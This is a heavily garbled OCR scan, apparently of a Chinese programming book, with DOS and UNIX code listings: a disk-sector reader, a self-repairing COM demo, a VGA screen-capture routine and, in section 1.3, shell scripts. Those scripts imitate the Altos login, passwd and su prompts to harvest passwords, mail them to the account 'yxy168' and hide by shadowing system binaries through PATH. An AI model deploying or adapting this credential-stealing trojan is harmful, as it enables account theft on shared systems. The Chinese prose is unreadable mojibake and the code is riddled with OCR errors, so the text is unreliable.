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s EBALRS D
VA ESE AL i S

1.1 ZER#EEXFXHFEHRTER

MR R BT A B BURE , B8R B AH S, MAE A AR T 2]
UM . 2BFAE L OSBRI ERRMS R, RHEEBE K T R EKE T
o, R AR K, SR — B K 512 29, RIBEOCHRERIFAE 512 FHHESH—4
Bed 770 B R AR S IS K€ L amid R A A, RISH — 20 BOR B A AR R T AT XM
BPHRAEEBMEET —HX,ESC B, FUMEB 2. T LUEHEBHE, LAFIX
HE A QAHD BF B R HATAF s B Rl I A 7 47 A0 [ 2 A o iU BB I e BR AT BE AR , B LA BB 1
THEF. EBRT . EFBHLFEFOTHDUNLSBE B REEMFLRET, ARIEEHRITZH,
AT HEH Turbo C2. 0 %R E .

RIERRE.

#include <Ustdio. h>

#include <ctype. h>

#include <lconio. h>

#include <{dos. h>

main ()

{int i,j;
char d,name[12],buf(512],yn;
FILE % fname;
int bl;
textbackground (BLUE) ;
clrserO);
window (20,8,60,18);
textbackground (GREEN) ;
textcolor (YELLOW) ;
clrser O
goroxy(4,2);
cprintf (" which device you want to read?”);
do{

d=toupper(getch());

ywhile(d! =’A’&&d! =’B’);
putchar(d);
gotoxy (4 ..4) ;



cprintf (" write to file pame:”);
scanf ( %s” ;name) ;
gotoxy (4,6);
cprintf (" The beginning sector:”);
scanf (" %d” ,&i);
if ((fname=fopen (name,” w-+"))==NULL)
{
fprintf (stderr,” Cannot open output file. % (s/n" ,name);
return 1; .
}
do {
if (absread(d-’A’,1,i,&buf)! =0)
{
perror (" Disk problem\n”);
exit(1);
}
=0
bl=0;
do{
if(buf[j]=="\r’ | |buf[j]==0X8d)&&buf[j+1]==="\r")
bl=1
if (buf[j]==0Xad
buf(j1=" "3
i (buf[j]1==0Xla)
buf[j]="\n";
if(buf{j]=="\a’)
buf[j1="" 73
i+t
}
while j<(512);
window(1,1,79,2);
textbackground (GREEV) ;
clrscr O ;
gotoxy(1,1);
cprintf (" The disk read service” );
gotoxy'(56 »1);
cprintf (" Processing sector ; %d” »1) 5
window(1,3,79,23);
textbackground (3);
textcolor (BLUE) ;
clrser O ;
if(b1)
{ for(j=0;j<512;j++)



{ cprintf (” %c” ,buf[j )
ifbuf[j1="\r")
buf[jl=" 73
}
window (1,24,79,25);
textbackground (MAGENTA);
textcolor (BLACK) ;
clrser () ,
gotoxy(4,2);
cprintf (” If or not write to file? (Y/N”);
do{
yn=toupper(getch());
}while(yn! =?Y’&&yn! =’N’);
if(yn=="Y")
if ((fwrite(buf,1,512,fname))! =512)
{printf (" Wrtie disk error! \n”);

return 1;
}

}
window(1,24,79,25);
textbackground (MAGENTA) ;
textcolor (BLACK) ;
clrser O
gotoxy (4,2);
cprintf (” Press any key to continue. . . or ESC to exit”);
if ((getch()) ==27)

break ;
i++;

ywhile (1) ;

fclose (fname) ;

}

(Ep & R

1.2 XEHEERPEAR

- BFHRUR A, TR B EILE R R 2B — N BRI I,
WERRBKE, REREEME, ENERHEBEE LR TRHEERNEE, ERFEK
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RETHIRFREATRELTEFZRINT ERAREROREGMD. EXYE X, BT
TEHEOUT 88 LR 8 REED RA R FAT N, BIR T 4B A RIS A3,
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FIEBX RO A B LR B R T EREAE R .

ENBET BN B —TEALTRETENES, EREREEROIAET, /T
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IR 2 v ) g U e 2 D 43 . b A AL RO A D L T 5 B — B AR HB 4 5 BN ZE AR
B 40 B0 16 0 EVLEH A R . '

ey B B R T, TR AT SR e 2 G A R K 4 T 34 O T B L AR T A R B
15 BN, RATTIE — SRR B LA K . BRI SR LA O XA DS MR AR A
s 30 T e 2 S T A, — M R 4% 25 OHE IR 2 AR B SR ,

EEVEX—-TIARETEAERFRB L. KE A2 HRE —ARB, AEE T
T il LR AR E B FRD 33 4778 PP i 5 HU X J L ARRS R IJLARBEHMARE AT AR
BF RN, FREEIGEEF (RAFERT P - 415 JnEE X ILARBREFEE
B IR0 1 42 MO IR 2 0 A SR, 5 P IE W AR D 0 o B35 4 RO IR L RAS OE A e, AR 4k
SERATHEF .

HEIRE T E AR BRI 51E, MR RERF P 2~3 AMFERE, B
ﬁﬁﬂ@ﬁﬁﬂﬁﬁ“ﬂﬁﬂ“ﬁ%ﬁk*?ﬂﬁ@9'ﬁ'ﬁﬂ—“ﬂ§%5lt:fﬁﬁﬁﬁ%ﬁ%%ﬂgﬁﬁ@’}}\ﬂﬁiiﬁ,
R E A LA F A R RO LR B R BT X 2~ 3 A2 R FLBE T
BB, ERFT—RESITHERBE ARFEMIRIAD

A R B T — R BIEF  BUE K selp. asm , BB 4R AL com SCLRRITT . %%
BRSO 546, BEF 1501 B EANBE REANBEFVHER 2135, HTHDOS &
(DOS3. D EH 1 3h selp BFBITE , BRECHFYE LRI KE N 546.

I B ST A0 zzzselp. com (BB 1591 S5 2 et , Fi A>copy selp. com zzzselp. com £9]
B 5 EAR PR G B3 selp com Fi comp #EAT . HARHRMT

A ;selp. com and A :zzzselp. com

Eof mark not found

Files compare ok

H T LB S PR SO e 2 — R

&

EE AR, AR W& A RBY FER R EREBEERFEBNTEREFR.
B 1591 RN BRI, B A BRI, FRBRERFELEIT T EXSE, TR
5T ERFERR, U S A RE e — . Wb, I B IR EE RS LB R
N BR 48 TR = AR R RS, DA A IR A TR KB, kTRt E e
AR BB E RS AR, BEEITRRF X R HRE R 2 SR E IR
N, FEHBIBRBAERT .

WFUT R A R EH R selp. com BF R, REHTHARFNB.

2/ SELP. ASM #8.

code segment public
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assume cs:code,ds :code,es:code

org 100h
start : jmp begin
filel db’selp. com’ ,0
msgl db 0ah,0dh,’] am a self_protect demo program. ¥’
msg2 db Oah,0dh,”Hello, This program is O. K. ¥
msg3 db 07h,07h,0dh,0ah,” Program has been damaged,but I repaired myself. ¥’
msg4 db Oah,0dh,’ repair error.’,” ¥’
begin: mov dx,offset msgl

mov zh,09h

int 21h

cld

mov cx,102h

mov si,220h

mov di,100h

repz cmpsb

jmp repair

mov dx,offset msg2

mov ah,0%h

int 21h

mov ah,4ch

mov al,01h; terminate program

int 21h
repair ;cld

mov cx,102h

mov si, 220h

mov di,100h
lopl:lodsb

stosh

loop lopl

mov ax,cs

mov ds,ax

mov dx,offset file2

mov al,01

mov ah,3dh

int 21h

jc err

mov bx,ax

mov ah,40h

mov ¢x,222h

mov dx 100h

int 21h

mov ¢x,0



mov ah,40h

int 21h

mov ah, 3eh

int 21h

mov dx,offset msg3

mov ah,0%h

int 21h

mov ah,4ch

mov al,01

int 21h
err:imov dx,offset msg4

mov ah,0%h

int 21h

mov ax,4c01h

int 21h
assume cs:code,ds:code,es:code

org 220h
start2; jmp begin2
file2 db ’selp. com’ ,0
msgll db 0ah,0dh,’] am a self_protect demo program. ¥’
msg22 db Oah,0dh,’Hello, This program is 0. K. ¥’
msg33 db 07h,07h,0dh, 0ah,’ Program has been damaged.but 1 repaired myself. ¥’
msg44 db 0ah,0dh,” repair error.’,’ ¥’
begin2 :mov dx,offset msgl

mov ah,09kL

int 21h

cld

mov ¢x,0102h

mov si,220h

mov di,100h

repz cmpsb

jmp repair?2

mov dx,offset msg2

mov ah,0%h

int 21h

mov ah,4ch

mov al,0lh;terminate program

int 21h
repair2:cld

mov cx,102h

mov 'si, 220h

mov di, 100h
lop2:lodsb
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stosb
loop lop2
mov ax,cs
mov ds,ax
mov dx,offset file2
mov al,01
mov ah,3dh
int 21h
jc err2
mov bx,ax
mov ah,40h
mov cx,222h
mov dx,100h
int 23h
mov cx,0
mov ah,40h
int 21h
mov ah 3eh
int 21h
mov dx,offset msg3
mov ah,09h
int 21h
mov ah,4ch
mov al,01
int 21h

err2 :mov dx,offest msg4
mov ah,09h
int 21h
mov ax,4c01lh
int 21h

code  ends

end start

,\
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e
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1.3 $FREARDSETHRSHH

fE—A UNIX E R P A%, A P804 %557, BREWRE A P 6 R AU g B XA P
ERGE. RETTENAPNZ2BREFEE., ERASR—MEROARTUT
A AT AR DR B B0 — BT, H AR BEE X —ROR B A R T % I T 538
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1. RFEREAR S
R IKADARHEERRE - MOADSHRIAY, BRAEWHFEBACDS, A
FREDABE TR MBERKRDHERT RO ASMER BEEEMRG . HEH(14
D ERELAGTES HRN SRR, IREFURALEIBR.
BEEE TS .
(D% Altos login: B35
(2)BE R O 4 password Bl ;
(DL suFEABRAFERAY .
2. EMRERERDSHEFRE
# B4 Altos login: BRI .
trap””0 2 3 15 2% ctri-d, DU B KB AWHHS .
clear
echo” Altos login; \¢”
read username
echo ¥usernan;e> /tmp/kk¥ ¥
#HPMABA A B R Alots login: " SFF A .
While test -r/tmp/kk ¥ ¥ -a” ¥ username”
do
" echo” Altos login: \c”
read username
done
stty -echo
echo” Password : \c¢"
read ok
if[ -n " ¥ok"]
then
echo
echo” Login incorrect”
else
echo
echo” Login incorrect”
fi
hghg="tty’
hh="date’
echo ¥username ¥ok ¥hghg ¥hh |mail yxyl168# DIMFEFATE R RLB A P yxyl68.
stty echo
#URF BB RRERERAD BRI EERY.
uu="tty |{cut -c9-’
if [" ¥uu”="sole" ]
then
oco=" ps|grep con|cut -cl-6|sed -n’lp’ {tr -d’’’
else
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oo="ps |grep Yuulcut -cl-6{sed -n’lp” |7tr—d”’’

fi

Lill -9 ¥00
rm/tmp/kk’¥ ¥
fi

KR A BN SRR DR, B RN SRy PR ATHTARE,
R IH BR Altos login” , B A FRA DS, ME—REZARMSAFITA Cirld Bf X FAH
# MBS passwd B .
trap””0,2,3,9,15
yyee="whoami’
ujuj="date’
echo” Changing passwd for ¥ yyee”
stty -echo
echo "old passwd:\c”
rcad username
echo
echo” New passwd :\c”
read pass
echo ¥ pass>>/tmp/kkjj¥ ¥
less="wc -c/tmp/kkjj¥ ¥ fcut -cl-8{tr -d' "’
if [¥less -ge 6]
then
echo
echo” Password must contain at least two alphabetc characters and at least one numeric of special character.”
# PR A B B DA KT 6 FAR, R HEREE. ' '
else
echo
echo” Password is too short-rust be at least 6 digits”
fi
rm/tmp/kkii ¥ ¥
echo passwd s ¥ username ¥ pass ¥ ujuj |1ail yxy168# LI TE R B A P yxy168,
eche” Sorry”
Stty echo
(rin ¥ HOME /passwd) # £S5 KA 15, /K B\ RS
exec/bin/passwd # ¥ A\ E 3L/ /bin/passwd
# BN su EABRA PG
trap"”F) 23915
sfty -echo
echo” Password : \¢”
read uscrname

* stty echo



if[ -z" ¥ usernaime”

then

echo

echo” su: Sorry”

exit

else

hh="date’

echo ¥username ¥ hh |mail yxy168
echo

echo”su:Sorry”

(rm ¥HOME/sw) # B B4FIB R AL su, P EHA su, | #147 /bin/su.
fi

3 REHCRDHBERE

(DB LRIREY. profile SLHX M ARTT 2.5 . 7 IRH PATH &, R5H FEE LT
YEHRHAE RS HF2ZJ5 (/bin; /ust/bin: ¥ HOME /bin; ), DYECE B L # i Altos login %3
{7 passwd BB OSBRI su B NBES FHIBEIS . 104 H P2 8. profile T4t Ay Bs
12 PATH B M E SR Y81 H 2, 898 K D passwd I su B] BERE7E /R H9 ¥ HOME /bin H
R TR IR RAD T A 4T, PATH R E R EERRLYMER. 22 By
PLEks R WA

(2)H Ctrl-d 8¢ exit IE8 R G0, W 5 R AR BB 2 BTGB F)” Altos login” 75,

(OIEBTE,H— WA BRUTH DS,

(4) E HIR 2 R ¥ HOME /bin H & F #9304

(5) N ELBGFFIRAY A B B9 205 , LA 4 fth A1

(6) 4 fRIZATHI N R Bt , AR A B, B AT RE X IRy SOk L H R B3,

(DRI LSR8 B 40 R F R 7 5 BT 51 B 2 O s 4, T AL B
ARIFFEND I, 15 B R E A A P IR 4 (write mail B setuid) , T 11T BB & A oA R 51 Y
k.

L ERRFITE Altos system V version 5. 3 e & {7t .

(et @ 1a)

1.4 VGANFRENRESKE

VGA E¥ W FBAR—METEENFX 12H T XHH R BRE K AL RERERNE
T 7R M, SR G KB4 AL 4 AN ST B9 T S A FE AR AL F T (ILR.G.B) , £ A BB,
.8 KRB LR EE A NEEAOFE PR A0 & R S TR U BT %
16 fift, £ 0¥ R 45 U IE#E 9 A00OOH , € 5 2 38400 “E45 (640X 480/8) ,CPU @1 L T
S PR A AR » P X — AT AT IR B S R A T LA RIS A 4 MR . X R
AT HALBR T NEENGHAR S,

RRFLUETHH, LA ERRERNE. VCA BE THHERERNENHE . EFRE 0
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T 1, 7R 0 Bl BE AR AL I PR F A R TR EREN 4 M
BT AL, HERE A — DR, J R o BP0 B R E
“BEHRFFE TR MG, £ M b, Ui 7 A AR 4 MOEE
FHINA . 3 02 BIOS Bk F 7 . HENR 0. BHELTW T Z58E. HE BRE
“BEIHR 07, L B E GDC A FHFRMAL 3 R, It 3CEH. RS54 5;
BE WE AT EF S E, PR E R FE# AP E (0.1.2.3.); ER ALY
CEH, ARG5S R 4; 85, 8 VLAY T k48 4 32 B AT Bk % 69 A0 7 1 48 5 a1k 4 B9 i
HHNTREBNTERE, EFR 0 AFR4KMEIR 1 FEREE—ANE—ME6, FE
HE 16 K UETR 0 BNRBEAR. REREWEMAEN . QI8 EE 4 R EE R
ORI 4 AL 69— HEEE B ERE X R EE . BRF RCRE B
F101992 4255 4 BAXI B AR “FoxBASE*2. 10 RELHA TR,

YRR B BN AR A B B 8 P S DR B O 9 55 21 B G v X oy AR R A 46 AR IR 32 B
AMNTPEAEE SRSEMNMTFETE. VGA L HE R, RITEAMRE X 0, et
CPU WMEEEFER R AFI, EELH LFTHAIRE (GDC3 SHESIFHED MEMTA
Tasr AL, X AL S BUF R F VIR LT 2B IR BT B R RIEE A BEAFE
AP EF % E O RERIR S AR E FR#, BT LR B CPU MU R84 5 85 AN OLF1 . K
ERFHBIREN ATHEEXH REE X 0. RERBEAB LM EEEFFEEN
ABMEES A EREE BRI KR TR 4 MOPE P L B BRFHE .

FEEERR KRBT, XA T i plr KB ST E B EN R R & .5 BE 5%
FRRRR AR N, YR BB A2 7 2 4 13 B FoxBASE A FMET S . X BN F#R AT LA
R 5y B0y 4 B A COM XX 7E DOS T i247. 2 B 78 COMPAQ 386 1 2. 13H, € 1l
SPDOS Tz {71t .

BEFER.
cede segment byte public ’ code’

assume cs * code,ds : code,es ¢ code,ss : code
getscr proc far
jmp start
serfile db 20 dup(0)  EREXHZREFK
fpscr dw 0 s B SC R FE &
start ¢ push bx iR FOX A A O S ¥t
push ds

3 JFE R B 4 P T

in al,21h
push ax
or al,01lh
out 21h,al

sFOX HRAAOSHBIRE X E R WX

mov si,bx

mov es,ax
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mov di,offset scrfile
mov ¢x,0
xfer:lodsh
cmp al,0
jz end _xfer
inc cx
stosb
jmp xfer
end _xfer :stosb
s T FF BE SUH- L
mov ax,cs
mov ds,ax
mov dx,offset scrfile
mov al,0
mov ah, 3dh
int 21h
mov fpscr,ax
TREBEBEH T RAFFERABHFR 0
mov ax,0005h
mov dx,3ceh
call portout
s REMBEEES B REWEK
mov ax,(003h
mov dx,3ceh
call portout
mov ah,00000001b ;#— {7 H
labl:push ax
s PR B P
mov al,02h
mov dx,3c4h
call portout
3 I TE SO R BR B B) — A E T
mov bx,cs:fpscr _
mov cx,38400d ,ﬁilfzﬁji/‘l‘
mov ax,0a000h {75458 W X Bk #h kb
mov ds,ax
mov dx,0
mov ah,3fh
int 21h
pop ax
shl 2h,1 ; F—N P
cmp ah,00010000b ;5 5 AN EHE 2
inz labl ;IR 5 FE4kSE
12



mov ax,cs
mov ds,ax
3 5% M B S 4
mov bx,fpscr
mov ah, 3eh
int 21h
REER LT EEREF TR
mov ax,0002h
mov dx, 3c4h
call portout
3 PR 5 e e i
' pop ax

out 21h,al
pop ds ;¥ FOX iBF A O & ¥ bt
pep bx
ret

getscr endp
;B 1/0 OFRE

portout proc near
push ax
out dx,al
inc dx
xchg ah,al
out dx,al
dec dx
pop dx
ret

portout endp

code ends

end

15 SHERIMFSEH

WERREAEE DTG, MBERIIS 8 O & By N 3 b —4 i
TR, R BB 1S 0K T UM R L T LA B R — S SE R A B, BN R R 4 R
. XENF—FHDEHN TS 2R R LI AL 0 5,

1. AERE

PrEsI S FEFH RERFH P A REE AR BRERE L ERTRES
R RN, & — X EEEFH SRS %3, 0 T LB A ShE, U7 A e B — T,
EEES, BHEBERE T W R,
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